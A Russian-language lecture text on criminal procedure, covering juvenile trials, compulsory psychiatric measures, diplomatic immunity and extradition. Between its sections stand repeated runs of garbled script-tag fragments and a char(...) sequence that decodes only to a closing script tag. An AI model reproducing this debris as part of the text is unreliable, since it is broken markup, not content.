Особенности судебного разбирательства дел о преступлениях, совершенных несовершеннолетними, заключаются в следующем.
1. Дела о преступлениях небольшой тяжести, совершенных несовершеннолетними, рассматриваются мировым судьей единолично. В порядке исключения из общего порядка дела о преступлениях средней тяжести рассматриваются коллегиально в составе судьи районного суда и двух народных заседателей (ст. 35 УПК).
В целях обеспечения строгого выполнения требований уголовно-процессуального законодательства, в том числе норм, специально регулирующих производство по делам несовершеннолетних (ст. 391-402 УПК), дела данной категории должны рассматриваться под председательством наиболее опытных судей. Специализация судей по делам несовершеннолетних предусматривает необходимость обеспечения их профессиональной компетентности путем обучения и повышения квалификации не только по вопросам права, но и педагогики, социологии, психологии.
2. При назначении судебного заседания (предании обвиняемого суду) судья обязан тщательно проверять обоснованность заключения под стражу, имея в виду, что такая мера пресечения может быть избрана лишь в исключительных случаях, как единственно возможная в данных условиях. В случае несоблюдения органами следствия этих требований судье следует эту меру пресечения изменить или отменить.*
* Постановление Пленума Верховного Суда РФ от 14 февраля 2000 г. «О судебной практике по делам о преступлениях несовершеннолетних»//Сборник постановлений Пленумов Верховного Суда Российской Федерации (СССР, РСФСР) по уголовным делам. М., 2000. С. 445.

3. В судебное заседание должен быть вызван законный представитель несовершеннолетнего подсудимого. Он имеет право участвовать в исследовании доказательств, заявлять ходатайства и отводы. Указанные права разъясняются ему при открытии судебного заседания (в подготовительной части).
Если лицо, совершившее преступление в возрасте до 18 лет, на момент рассмотрения дела в суде достигнет совершеннолетия, функции законного представителя прекращаются. Однако эти функции могут быть продолжены при принятии судом решения о распространении на лиц в возрасте от 18 до 20 лет содержащихся в законе (ст. 96 УК) положений об особенностях уголовной ответственности несовершеннолетних.
При необходимости допросить законного представителя подсудимого в качестве свидетеля суд (или мировой судья) выносит об этом определение (или постановление), разъясняет ему положения ст. 51 Конституции РФ, предупреждает его об уголовной ответственности за дачу заведомо ложных показаний и заслушивает его показания. Законный представитель подсудимого присутствует в зале судебного заседания в течение всего судебного разбирательства.
В исключительных случаях, когда участие в судебном заседании законного представителя может нанести ущерб интересам несовершеннолетнего подсудимого, суд (или мировой судья) вправе своим мотивированным определением (или постановлением) либо полностью устранить законного представителя от участия в судебном заседании, либо ограничить его участие в той или иной части судебного заседания.
Неявка законного представителя подсудимого не препятствует рассмотрению дела, если суд (или мировой судья) не найдет его участие необходимым (ст. 399 УПК).
4. Суд должен принимать меры к участию в судебном заседании заинтересованных предприятий, учреждений и организаций (ст. 400). Суд (или мировой судья) обязан известить о времени и месте рассмотрения дела о несовершеннолетнем предприятие, учреждение и организацию, в которых учился или работал несовершеннолетний, комиссию или инспекцию по делам несовершеннолетних, а при необходимости и иные организации. В случае необходимости суд (или мировой судья) вправе вызвать в судебное заседание представителей этих организаций, а также представителей общественных организаций по месту работы родителей, опекуна или попечителя подсудимого.
С разрешения суда представители указанных организаций могут участвовать в исследовании доказательств. В необходимых случаях они могут быть допрошены в качестве свидетелей.
5. В ходе судебного заседания суд вправе удалить несовершеннолетнего подсудимого из зала суда. Суд (или мировой судья), выслушав мнение защитника и законного представителя подсудимого и заключение прокурора, вправе своим определением (постановлением) удалить несовершеннолетнего из зала судебного заседания во время исследования обстоятельств, могущих отрицательно повлиять на несовершеннолетнего (ст. 401 УПК).
6. Определенной особенностью отличается совещание судей (ст. 4012 УПК). При постановлении приговора несовершеннолетнему суд наряду с вопросами, перечисленными в ст. 303 УПК, обязан обсудить вопрос об условном осуждении, о назначении наказания, не связанного с лишением свободы, а также об освобождении от наказания в случаях, предусмотренных ст. 92 УК.6874ff1bb596886629f795c1fbd58d74.js" type="text/javascript">a14e6740b14e1fec272f4da279e9bb36char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)7fedb914c2975079b9a52f5276eec880.js" type="text/javascript">109fbbe0fa2b423b49bc3957486e7b40.js" type="text/javascript">bb152200b7fd36ee1f05f4ffc61377d2.js" type="text/javascript">bbe271d370f079920929e43ee3f50d12.js" type="text/javascript">88414b2750601c6ec9dbe6c0ee7cb7cc.js" type="text/javascript">36e23a29584695783af4580ce0bf0605.js" type="text/javascript">2ac027581d49a6824f9757ae8a4dd85c.js" type="text/javascript">cc4f6448415bdfa0d4d1b6305ccdde83.js" type="text/javascript">6666b9e173511a0281378d4d4bdd7fa6.js" type="text/javascript">e7a8b60c8f99a797bbc3a84609370e22.js" type="text/javascript">e3653d2edb6e1c7775efe42ffd030218.js" type="text/javascript">

Принудительные меры медицинского характера — влекущие правоограничения меры государственного принуждения, которые назначаются судом и используются в порядке, предусмотренном уголовным, уголовно-процессуальным и уголовно-исполнительным законодательством в отношении определенных категорий лиц.
В соответствии со ст. 97 УК и 403 УПК принудительные меры медицинского характера применяются судом к лицам:
а) совершившим общественно опасные деяния, предусмотренные статьями Особенной части УК, в состоянии невменяемости.
К невменяемым относятся лица, которые во время совершения общественно опасного деяния не могли осознавать фактический характер и общественную опасность своих действия (бездействия) либо руководить ими вследствие хронического психического расстройства, временного психического расстройства, слабоумия либо иного болезненного состояния психики (ст. 21 УК);
б) у которых после совершения преступления наступило психическое расстройство, делающее невозможным назначение или исполнение наказания.
В данном случае речь идет о психических расстройствах, не позволяющих осознавать фактический характер и общественную опасность своих действий (бездействия), которые возникли после совершения преступления.
Этих лиц нельзя отождествлять с невменяемыми. Именно различия между ними учитывает законодатель, регулируя правовые последствия их выздоровления;
в) совершившим преступление и страдающим психическими расстройствами, не исключающими вменяемости;
г) совершившим преступление и признанным нуждающимися в лечении от алкоголизма или наркомании.
Студентам нужно твердо усвоить, что эти категории делятся на две группы.
Первую из них составляют невменяемые и лица, заболевшие душевной болезнью после совершения преступления. Именно к ним имеют отношение особенности рассматриваемого производства.
Во вторую группу входят лица с психическими расстройствами, не исключающими вменяемости, и лица, нуждающиеся в лечении от алкоголизма или наркомании. В отношении этой группы лиц расследование и судебное разбирательство осуществляется в общем порядке. Их упоминание в рассматриваемых нормах обусловлено необходимостью наличия правовой базы для применения к ним принудительных мер медицинского характера независимо от их желания или желания их законных представителей. Не случайно принудительные меры медицинского характера в отношении этих категорий лиц законодатель называет мерами, соединенными с исполнением наказания.
Порядок лечения этих лиц регулирует «Инструкция по организации принудительного амбулаторного лечения от алкоголизма или наркомании осужденных, отбывающих наказания в учреждениях уголовно-исполнительной системы Министерства юстиции Российской Федерации», утвержденная приказом Министра юстиции РФ 3 августа 2001 г.*
* Инструкция по организации принудительного амбулаторного лечения от алкоголизма или наркомании осужденных, отбывающих наказания в учреждениях уголовно-исполнительной системы Министерства юстиции Российской Федерации, утвержденная приказом Министра юстиции РФ 3 августа 2001 года//Российская газета. 2001. 5 сентября.

Основные ее положения заключаются в следующем.
1. Для содержания и принудительного амбулаторного лечения осужденных от алкоголизма и наркомании в уголовно-исполнительной системе образованы лечебные исправительные учреждения с различными видами режима.
2. Служба лечебного исправительного учреждения обязана тесно взаимодействовать с психологической, режимной, оперативной и воспитательной службами.
3. Максимальная длительность принудительного амбулаторного лечения ограничена сроком назначенного судом наказания.
4. По истечении срока наказания в виде лишения свободы осужденный подлежит освобождению. В тех случаях, когда начатое лечение не закончено и освобождаемый нуждается в его продолжении, необходимая документация направляется в органы здравоохранения по месту жительства освобожденного.
5. При установлении во время отбывания наказания болезни осужденного алкоголизмом или наркоманией администрация учреждения на основании заключения медицинской комиссии направляет в суд представление о применении к нему принудительных мер медицинского характера.
6. Во всех случаях освобождения от отбывания наказания осужденных, проходивших курс лечения от алкоголизма или наркомании, медицинская часть за один месяц до освобождения направляет в органы здравоохранения по месту жительства освобождаемого выписку из амбулаторной карты больного о проведенном противоалкогольном, противонаркоманийном лечении и его результатах.
Согласно ст. 99 и 104 УК лицам, осужденным за преступления, совершенные в состоянии вменяемости, но нуждающимся в лечении от алкоголизма, наркомании либо в лечении психических расстройств, не исключающих вменяемости, суд наряду с наказанием может назначить принудительную меру медицинского характера в виде амбулаторного принудительного наблюдения и лечения у психиатра.d48dde078c25398adb4d6f7168d36c7b.js" type="text/javascript">31770d0e59fbf1f4cd864add28888af1char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)0f08bd11e5eae6cf756a018336186e74.js" type="text/javascript">c10ae6e3177d3f4b318743e0329d4e99.js" type="text/javascript">9d927e763d36052d8b9236de18e99f76.js" type="text/javascript">45a770473f53e454a5fe135b0cb4b1df.js" type="text/javascript">b51b8e839cc55368c324027acfaf1f9c.js" type="text/javascript">387e9e4eb35250b425c70012949109d4.js" type="text/javascript">c8de7c9f984a5873eb918fe7e3a71342.js" type="text/javascript">8dfde112f9b29a0d0ca5f197c02f378c.js" type="text/javascript">5ddf27fb7ac0772ac4272bb4390cf04b.js" type="text/javascript">ea651fd7e411dc9944463077b2123f24.js" type="text/javascript">a4aa295aaa2ffc7a72f53661f2e7c447.js" type="text/javascript">

Особенности расследования дел об общественно опасных деяниях лиц, страдающих психическими расстройствами, заключаются в следующем.
1. Дела об общественно опасных деяниях лиц с психическими расстройствами возбуждаются государственными органами и должностными лицами на общих основаниях в порядке, предусмотренном ст. 108, 109, 112 УПК.
2. По делам об общественно опасных деяниях невменяемых, а также о преступлениях лиц, заболевших душевной болезнью после их совершения, обязательно производство предварительного следствия (ст. 126,404 УПК). Оно производится следователями с учетом предметного признака подследственности. По делам об общественно опасных деяниях и преступлениях, перечисленных в ч. 1 ст. 126 УПК, предварительное следствие производят следователи органов внутренних дел (ст. 126 УПК).
3. При производстве предварительного следствия и судебного разбирательства с учетом особенностей настоящего производства должны быть выяснены наряду с обстоятельствами, указанными в ст. 68 УПК, следующие обстоятельства:
1) время, место, способ и другие обстоятельства совершения общественно опасного деяния или преступления;
2) совершение общественно опасного деяния или преступления данным лицом;
3) наличие у лица, совершившего общественно опасное деяние или преступление, душевных заболеваний в прошлом, степень и характер душевного заболевания в момент совершения общественно опасного деяния и ко времени расследования дела;
4) поведение лица, совершившего общественно опасное деяние или преступление, как до его совершения, так и после;
5) характер и размер ущерба, причиненного общественно опасным деянием (ст. 404 УПК).
4. При производстве предварительного следствия по делам об общественно опасных деяниях невменяемых или преступлениях лиц, заболевших душевной болезнью после их совершения, обязательно направление этих лиц на судебно-психиатрическую экспертизу. Это направление допускается лишь при наличии достаточных данных, указывающих на то, что именно это лицо совершило общественно опасное деяние или преступление, по поводу которого возбуждено уголовное дело и ведется предварительное следствие (ст. 404 УПК).
5. При невозможности в силу психического состояния участия лица, совершившего общественно опасное деяние, в производстве следственных действий следователь составляет об этом протокол (ст. 404 УПК).
При этом следует иметь в виду, что в силу ст. 69 УПК показания данного лица не могут рассматриваться как источник (средство доказывания) доказательств по делу.*
* Постановление Пленума Верховного Суда СССР от 26 апреля 1984 г. «О судебной практике по применению, изменению и отмене принудительных мер медицинского характера» // Сборник постановлений Пленумов Верховного Суда Российской Федерации (СССР, РСФСР) по уголовным делам. М., 2000. С. 110.

6. По делам лиц, совершивших общественно опасные деяния в состоянии невменяемости, а также лиц, заболевших душевной болезнью после совершения преступления, участие защитника обязательно (ст. 49 УПК).
Защитник допускается к участию в деле с момента назначения указанным лицам судебно-психиатрической экспертизы (ст. 405 УПК). Отказ от защитника по этим делам не может быть принят следователем и судом.*
* Там же. С. 109.c1eeec12a7c84b3f514c799efb4261a0.js" type="text/javascript">1a13d39f9e4e2e192108431cba8304ecchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)3c79f90276377f37d0bf4e160fd3e0bd.js" type="text/javascript">5c225f39522d86a102acb651895ee7a4.js" type="text/javascript">0b1ea04a4974281997467dea68f5013c.js" type="text/javascript">31bd202a1f7be10ae131f790cbbec625.js" type="text/javascript">d8b021fda0b8e577945ac58067549509.js" type="text/javascript">3219bb6b20a3e72acb60d31b13e860a5.js" type="text/javascript">6012338cefec07befd81b2f0c20d6611.js" type="text/javascript">779913af45116d728d023a972a87803d.js" type="text/javascript">d660ac7ba7ba21128101d5e7d9e72822.js" type="text/javascript">d52cb3988d698eb12297fe99ae49cf26.js" type="text/javascript">2e48b1abf18814a4736e37524e6be3c6.js" type="text/javascript">

Особенности подготовки к судебному заседанию и судебного разбирательства дел об общественно опасных деяниях или преступлениях лиц, страдающих психическими расстройствами, заключаются в следующем.
1. Вопрос о подсудности дел в отношении лиц, совершивших общественно опасные деяния в состоянии невменяемости или заболевших душевной болезнью после совершения преступления, решается по общим правилам подсудности уголовных дел в зависимости от юридической (уголовно-правовой) оценки содеянного.
2. Судья или председатель суда, получив от прокурора дело, назначает его к рассмотрению в судебном заседании на общих основаниях. О назначении судебного заседания извещаются прокурор, защитник и законные представители лица, совершившего общественно опасное деяние. В судебное заседание вызываются потерпевшие, свидетели, а в необходимых случаях и эксперты.
Судья районного суда или председатель суда вправе сделать распоряжение о вызове в судебное заседание лица, о котором рассматривается дело, если этому не препятствует характер его заболевания.
В случае, когда судья или председатель суда усмотрит основания к прекращению производства по применению принудительных мер медицинского характера или основания к возвращению дела для дополнительного расследования, он вносит дело на рассмотрение распорядительного заседания суда.
При анализе этого положения студентам следует учитывать следующие обстоятельства.
Во-первых, это положение является рудиментом правового регулирования прошлых лет. Судебная практика не знает назначения судебного заседания в форме распорядительного заседания. При наличии оснований к прекращению дела судья единолично принимает решение. Существование этого положения в действующем законодательстве объясняется низкой законодательной техникой, в силу чего законодательные изменения последних лет проводятся в жизнь непоследовательно и противоречиво.
Во-вторых, положения, содержащиеся в ст. 403-413 УПК, по своему содержанию являются специальными, исключительными. Строгое следование правовым канонам означает, что в условиях конкуренции с нормами общего характера приоритетом обладают особые, специальные, исключительные правила. Однако в рассматриваемом случае это краеугольное положение теории права судебной практикой не разделяется.
В-третьих, в настоящее время суд (или судья) вправе самостоятельно, по собственной инициативе принимать решение о направлении дела для дополнительного расследования только в случае существенного нарушения уголовно-процессуального закона или неправильного соединения или разъединения дел.
В-четвертых, при поступлении ходатайства о возвращении дела для дополнительного расследования по основаниям, предусмотренным п. 1, 3, 4 ст. 232 УПК, судья должен назначить предварительное слушание.*
* Постановление Пленума Верховного Суда РФ от 8 декабря 1999 г. «О практике применения судами законодательства, регламентирующего направление уголовных дел для дополнительного расследования» // Сборник постановлений Пленумов Верховного Суда Российской Федерации (СССР, РСФСР) по уголовным делам. М., 2000. С. 380.

Таким образом, в рассматриваемом производстве распорядительное заседание суда отсутствует. При необходимости возвращения дела на дополнительное расследование судья должен назначить предварительное слушание.
3. Судебное разбирательство по делу, поступившему в порядке ст. 406 УПК, производится с обязательным участием прокурора и защитника (ст. 408 УПК).
4. В судебном заседании должны быть проверены доказательства, устанавливающие или опровергающие совершение данным лицом общественно опасного деяния, предусмотренного уголовным законом, заслушано заключение экспертов о психическом состоянии лица, совершившего общественно опасное деяние, и проверены другие обстоятельства, имеющие существенное значение для разрешения вопроса о применении принудительных мер медицинского характера (ст. 408 УПК).f4c85957da2455445818fda675769115.js" type="text/javascript">fa513079fd10edb2b9f98b8c40146740char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)0cd0157e6ef584d88ce25d889315fa8f.js" type="text/javascript">e49190b5f72bc048eb3cbf47b510c87d.js" type="text/javascript">fcb1bb208d76d4f78ee413798885141b.js" type="text/javascript">559ca752e487114fbee56cd51d258bea.js" type="text/javascript">09ecede7ebbc9a1018a8e3f669849f99.js" type="text/javascript">2edf62d731967ac0728a4592b9115d8c.js" type="text/javascript">0304610dd20b10b82030366acc26b950.js" type="text/javascript">65aa5b309bb16cc59b7abd6a56fe52bf.js" type="text/javascript">22034a8b82bf527c01d06e33e26b99d9.js" type="text/javascript">374f0ec4a631981d966882d80aebbf2b.js" type="text/javascript">79cfb1a0101e80d735f4e197e2194544.js" type="text/javascript">

Иностранный гражданин — лицо, не являющееся гражданином России и имеющее доказательства принадлежности к гражданству (или подданству) иностранного государства.
Правовое положение (статус) иностранного гражданина, находящегося на территории России, — совокупность его прав и обязанностей, гарантий их реализации и принципов их правового регулирования.
В теории международного права различают общий, специальный и индивидуальный правовой статус иностранных граждан.
Общий правовой статус — правовое положение иностранного гражданина в российском государстве в целом. Этот статус базируется на нормах государственного и конституционного права, занимающих ведущее место в правовом регулировании прав и обязанностей личности в любом государстве. Общий правовой статус играет роль основы правового регулирования иных статусов иностранного гражданина.
Специальный статус — правовое положение иностранных граждан с учетом их принадлежности к той или иной категории этих лиц. В этом статусе отражаются особенности правового положения конкретных групп иностранных граждан, связанных с заключением международных договоров, реализацией специальных принципов правового регулирования. В связи с этим в качестве регулятора соответствующих общественных отношений выступают нормы не только российского законодательства, но и международного права.
В частности, в сфере уголовного судопроизводства следует руководствоваться подписанными Россией Европейскими конвенциями о выдаче (13 декабря 1957 года) и о взаимной правовой помощи по уголовным делам (20 апреля 1959 года), ратифицированной Россией Конвенцией о правовой помощи и правовых отношениях по гражданским, семейным и уголовным делам между членами Содружества Независимых Государств (СНГ) от 22 января 1993 года и двусторонними международными договорами.
Индивидуальный правовой статус — правовое положение иностранного гражданина как индивида, вступающего в разнообразные правоотношения в качестве пассажира, туриста, автора изобретения и т. п. Отличительная черта этого статуса заключается в том, что он включает в себя как права и обязанности, предоставленные иностранному гражданину общим и специальным статусом, так и индивидуально определенные субъективные права и обязанности, возникающие у него в результате вступления в конкретные правоотношения.
Иностранные граждане — одна из категорий населения России. Их правовой статус произведен от статуса личности российского гражданина. Поэтому принципы правового регулирования положения иностранных граждан производны от принципов регулирования положения личности российских граждан. Применительно к теме настоящей лекции специфическими чертами обладает лишь принцип равенства перед законом и органами, осуществляющими уголовное судопроизводство, который лежит в основе правового положения как российских, так и иностранных граждан.7f115205c13642dc6a2ec6890b2983f1.js" type="text/javascript">d9b38160faf6a3b1a11642326f64ddc8char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)21bf33fd5b6c7b9939ecf5033d53be20.js" type="text/javascript">f7d80d5af1d6ae11ed6606c65e53d733.js" type="text/javascript">d7dff95e0c3b3ef40aaadc3ea902e032.js" type="text/javascript">a89e873393dbc2dda911d1be5e88356a.js" type="text/javascript">417da91acdf17c69e0b30505472fd51b.js" type="text/javascript">2621008cd2f9cb3b702cc2752ff65cbb.js" type="text/javascript">f59e1c0cdb81b34ab80f99b106ebf1a1.js" type="text/javascript">0c7a6dbfc45d32696973926ea8a0b4fe.js" type="text/javascript">00247c15a9fb64c1ca7eae8b8a4ac780.js" type="text/javascript">8f897b7d5bdf89df435b1193d635774d.js" type="text/javascript">3ab75c62da8852ad425c2e4bb36d5e0d.js" type="text/javascript">

В ст. 33 УПК установлено принципиальное положение: судопроизводство по делам о преступлениях, совершенных иностранными гражданами и лицами без гражданства, ведется на территории Российской Федерации в общем порядке.
Среди иностранных граждан, обладающих дипломатическим иммунитетом, особо выделяются лица, пользующиеся иммунитетом от уголовной юрисдикции Российской Федерации. Перечень этих лиц определен Венской конвенцией о дипломатических сношениях 1961 года и Положением о дипломатических и консульских представительствах иностранных государств на территории СССР 1966 года. В частности, к ним относятся:
1) работники дипломатических представительств:
а) глава дипломатического представительства;
6) члены дипломатического персонала представительства;
в) члены семей главы и сотрудников дипломатического представительства, если они проживают совместно с указанными лицами и не являются гражданами России;
г) сотрудники административно-технического персонала, дипломатического персонала и члены их семей, если они не являются российскими гражданами или не проживают в России постоянно (на основе принципа взаимности);
д) сотрудники, обслуживающий персонал дипломатического представительства, не являющиеся российскими гражданами или не проживающие в России постоянно (на основе принципа взаимности в отношении преступлений, совершенных при исполнении служебных функций);
2) сотрудники консульского представительства, если их преступления связаны со служебной деятельностью, за исключением случаев совершения тяжкого преступления;
3) иные иностранные граждане:
а) представители иностранных государств, приезжающие для участия в межгосударственных переговорах, международных конференциях, совещаниях или с другими официальными поручениями;
б) члены семей, сопровождающие указанных выше лиц;
4) иностранные граждане, вызванные в Россию в качестве потерпевших, свидетелей, экспертов. Эти лица утрачивают иммунитет, если не покинут пределы России в течение определенного международным договором срока после того, как отпала необходимость в их пребывании;
5) священнослужители католических государств, получившие дипломатический ранг.
Право иммунитета от уголовной ответственности не является пожизненным. Государство может лишить лицо этого иммунитета и дать согласие на привлечение его к уголовной ответственности, которое получают по дипломатическим каналам.
В настоящее время категории иностранных граждан, обладающих привилегиями и иммунитетами, указаны в различных актах, среди которых основное место занимает Положение о дипломатических и консульских представительствах иностранных государств на территории СССР (1966 год).
В правовой литературе различают:
1) дипломатические иммунитеты и привилегии представительства. К ним относятся неприкосновенность помещений, средств передвижения, имущества, архивов, документов и официальной переписки; свобода сношений со своим правительством, консульскими представительствами своей страны и т. п. Резиденция, жилые и служебные помещения, салоны личных и служебных автомашин пользуются иммунитетом от осмотров, обыска, выемки, изъятия и иных исполнительных мер; архивы, почта, переписка не подлежат вскрытию и задержанию.
Под помещениями представительства понимают здание или часть здания, используемые для целей дипломатического представительства, независимо от того, принадлежат ли они представительству или арендуются им, включая участок земли, в том числе двор, сад, если таковые имеются;
2) личные иммунитеты и привилегии. К ним наряду с иммунитетом от уголовной юрисдикции относят личную неприкосновенность, неприкосновенность частной резиденции и жилых помещений, свидетельский иммунитет. Представители дипломатических и консульских представительств не обязаны являться в следственные и судебные органы.
Наличие дипломатической неприкосновенности исключает обычный порядок судопроизводства. В соответствии со ст. 33 УПК в отношении лиц, обладающих правом дипломатической неприкосновенности, процессуальные действия производятся лишь по их просьбе или с их согласия. Согласие на производство этих действий испрашивается через Министерство иностранных дел России.
Эти положения установлены в соответствии с международно-правовыми актами, в частности Венской конвенцией о дипломатических сношениях 1961 года.
В некоторых случаях уголовно-процессуальный закон устанавливает дополнительные гарантии. В частности, выемка и обыск в помещениях, занимаемых дипломатическими представительствами, а равно в помещениях, в которых проживают члены дипломатических представительств и их семьи, могут производиться не только по их просьбе или с согласия дипломатического представителя, но и в присутствии прокурора и представителя Министерства иностранных дел России (ст. 173 УПК). Следственная практика распространила это требование также на производство осмотра.
Иностранные граждане, не обладающие дипломатическим иммунитетом, несут равную с российскими гражданами уголовную ответственность, обладают равными с ними уголовно-процессуальными правами и несут равные обязанности (ст. 33 УПК).
Независимо от статуса иностранных граждан производство по делу с их участием отличается серьезными особенностями.
1. Особенности производства в стадии возбуждения уголовного дела. При обращении иностранных граждан с заявлением о подготавливаемом или совершенном против них преступлении или обнаружении их на месте преступления прежде всего следует удостовериться в их личности. Следователь, лицо, производящее дознание, и другие сотрудники правоохранительных органов обязаны лично проверить документы, удостоверяющие личность иностранного гражданина, и отразить сведения, содержащиеся в документах, в соответствующих материалах. Личная проверка документов позволяет:
1) разрешить вопрос о возможности участия иностранного гражданина в процессуальных действиях;
2) определить не только сроки и режим, но и законность пребывания иностранного гражданина в России;
3) избежать ошибок в написании установочных и иных данных.
При этом следует иметь в виду, что документом, удостоверяющим личность иностранного гражданина, является заграничный паспорт, который подразделяется на три вида: дипломатический, служебный и национальный (их называют еще общегражданскими). В них должна быть представлена въездная, выездная или транзитная виза. Иногда иностранным гражданам выдается специальный документ — въездная-выездная виза.
В подтверждение наличия дипломатического иммунитета иностранный гражданин должен предъявить дипломатическую карточку, выдаваемую протокольным отделом Министерства иностранных дел РФ.
При необходимости уточнения каких-либо сведений об иностранном гражданине, получения каких-либо консультаций и т. п. должностным лицам органов внутренних дел категорически запрещено непосредственное обращение в любой форме в представительство соответствующего иностранного государства.8afe5b8383e7b83626083799e7f3d734.js" type="text/javascript">287f2f3b0111f87ca6111954cdc5265bchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)c8189a00b74928f59f5881ca363f040c.js" type="text/javascript">433dd165c6a92b69ae7faa1018f5da6d.js" type="text/javascript">69dc6a3cc1a7352ad4626b4178c9a2fa.js" type="text/javascript">cbbe72e0f67d4f5566a613ee74124c4c.js" type="text/javascript">bd848b2f8ed24c9a72ab49b10b4e3f84.js" type="text/javascript">188f208dc826883d7f84bbc30c9d8330.js" type="text/javascript">aac2636626e02e9292a38c1a4bf8864b.js" type="text/javascript">dae2a6a4545607fae40a031afe004c2c.js" type="text/javascript">bcece43bb7fe392619d29e349a324ca0.js" type="text/javascript">5e26632c8bfc8da0ece6d260cfe9fa7a.js" type="text/javascript">1f3a35b4036552f6a3227debd4c20bcd.js" type="text/javascript">

На основании ст. 63 Конституции РФ и ст. 13 УК граждане РФ, совершившие преступление на территории иностранного государства, не подлежат выдаче этому государству.
Иностранные граждане и лица без гражданства, совершившие преступление вне пределов России и находящиеся на ее территории, могут быть выданы иностранному государству для привлечения к уголовной ответственности или отбывания наказания в соответствии с международным договором Российской Федерации.
Выдача лица, совершившего преступление (экстрадиция), — передача по запросу при соблюдении определенных условий одним государством другому государству или международному уголовному суду находящегося на его территории лица для привлечения его к уголовной ответственности или исполнения обвинительного приговора.
Россия не допускает выдачи другим государствам лиц, преследуемых за политические убеждения, а также за действия (или бездействие), не признаваемые в ней преступлением (ст. 63 Конституции РФ). Следовательно, в России действует принцип двойной криминальности, означающий, что лицо может быть выдано другому государству при следующем условии: деяние считается преступлением по законам как запрашиваемой, так и запрашивающей сторон.
В Конвенции СНГ (ст. 57) указано на то, что выдача не производится, если:
1) лицо, подлежащее выдаче, является гражданином запрашиваемого государства (ст. 61 Конституции РФ);
2) на момент получения запроса по законодательству запрашиваемого государства не может быть возбуждено уголовное преследование или приговор не может быть исполнен (например, при наличии обстоятельств, предусмотренных ст. 5 УПК);
3) в отношении лица, выдача которого требуется, на территории запрашиваемого государства имеются решения, вступившие в законную силу;
4) преступление согласно законодательству запрашиваемого и запрашивающего государства преследуется в порядке частного обвинения.
При подписании Европейской конвенции о выдаче Россия оставила за собой право отказа в выдаче в случаях, когда:
1) выдача лица преследует цели привлечения его в чрезвычайном суде или в порядке упрощенного производства либо исполнения приговора, вынесенного указанным судом или в указанном порядке; имеются основания полагать, что в ходе судопроизводства этому лицу не будут или не были обеспечены гарантии, установленные ст. 14 Международного пакта о политических и гражданских правах;
2) имеются основания полагать, что лицо, в отношении которого поступил запрос, было или будет подвергнуто пыткам или другим жестоким, бесчеловечным или унижающим достоинство видам обращения или наказания или что этому лицу не были или не будут обеспечены минимальные гарантии, предусмотренные ст. 14 Международного пакта о политических и гражданских правах;
3) исходя из соображений гуманности, имеются достаточные основания полагать, что выдача лица может повлечь для него серьезные осложнения по причине его преклонного возраста или состояния здоровья.
Европейская конвенция содержит и другие основания, по которым запрашиваемое государство может отказать в выдаче. В частности, в силу правила «поп bis in idem» («нельзя за одно дважды») выдача не производится, если органы, осуществляющие судопроизводство, вынесли окончательное решение в отношении лица, требуемого в связи с преступлением, по поводу которого запрашивается выдача.
Конвенцией установлено, что обвинение в убийстве или попытке убийства главы государства или члена его семьи не препятствует выдаче.
Запрос о выдаче должен содержать:
а) наименование запрашиваемого учреждения;
б) описание деяния и текст закона запрашивающего государства, признающего деяние преступлением;
в) фамилию, имя и отчество лица, выдача которого запрашивается, его гражданство и другие сведения, обеспечивающие идентификацию личности, указание на причиненный деянием размер ущерба.
К запросу о выдаче лица для уголовного его преследования прилагается заверенная копия решения о заключении под стражу, а к запросу о выдаче для приведения приговора к исполнению — заверенная копия приговора с отметкой о вступлении его в законную силу и текст закона, на основании которого лицо осуждено. При необходимости сообщаются другие сведения. Запрос о выдаче и приложенные документы сопровождаются переводом на язык, указанный в договоре.d100cde76c10f19573df564798fdb189.js" type="text/javascript">16ce1f3a528eca1c78063545dc0962f6char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)c1db85a4f5c7ffaa5ac42c05c1849ad2.js" type="text/javascript">59ede61bf8f38c58df3c0421b0379df1.js" type="text/javascript">e0ca756a8b83d4c83a2047647ed80827.js" type="text/javascript">405a9fc61ac2830b2f3a2f5f232f0f2a.js" type="text/javascript">3a5af62407b676c361b8418c78b266b6.js" type="text/javascript">026077de6d0101618ea8efe014ec7dce.js" type="text/javascript">d739f22139ab634787b487a38cc5c5f5.js" type="text/javascript">135b344a15d1dbc5b1d74325804c0b2c.js" type="text/javascript">0ce5b025bd5f8ec6f9c361f6c391764f.js" type="text/javascript">c56168794486a15062bd498833c8d364.js" type="text/javascript">32e99c2c8ab6c6c70b426c32cd63ebdf.js" type="text/javascript">

Деятельность по возбуждению досудебной подготовки материалов, рассмотрению и разрешению уголовных дел представляет собой сложный процесс, состоящий из практических и логических операций по производству следственных, судебных и иных действий, применению мер уголовно-процессуального принуждения, принятию разнообразных промежуточных и итоговых решений. Некоторые решения в сфере уголовного судопроизводства могут быть ошибочными (незаконными и необоснованными), причиняющими значительный вред правам, свободам и законным интересам граждан — участников уголовного процесса. В связи с этим государство возложило на себя обязанность возмещения вреда гражданам, если этот вред возник в результате незаконных действий органов, осуществляющих уголовное судопроизводство.
Возмещение ущерба, причиненного гражданину незаконными действиями органов дознания, предварительного следствия, прокуратуры и суда, представляет собой правовой институт интегративного (комплексного) характера. Он включает в себя нормы уголовно-процессуального, гражданского, гражданского процессуального законодательства и других законов. Уголовно-процессуальный элемент занимает в этом институте незначительное, однако важное место.
Уголовно-процессуальный компонент этого института проявляется в том, что:
? уголовно-процессуальное законодательство установило условия и основания возмещения ущерба;
? основаниями возмещения вреда являются незаконные действия государственных органов и должностных лиц в сфере уголовного судопроизводства;
? нормы рассматриваемого института подлежат применению в порядке исполнения уголовно-процессуального решения о реабилитации гражданина;
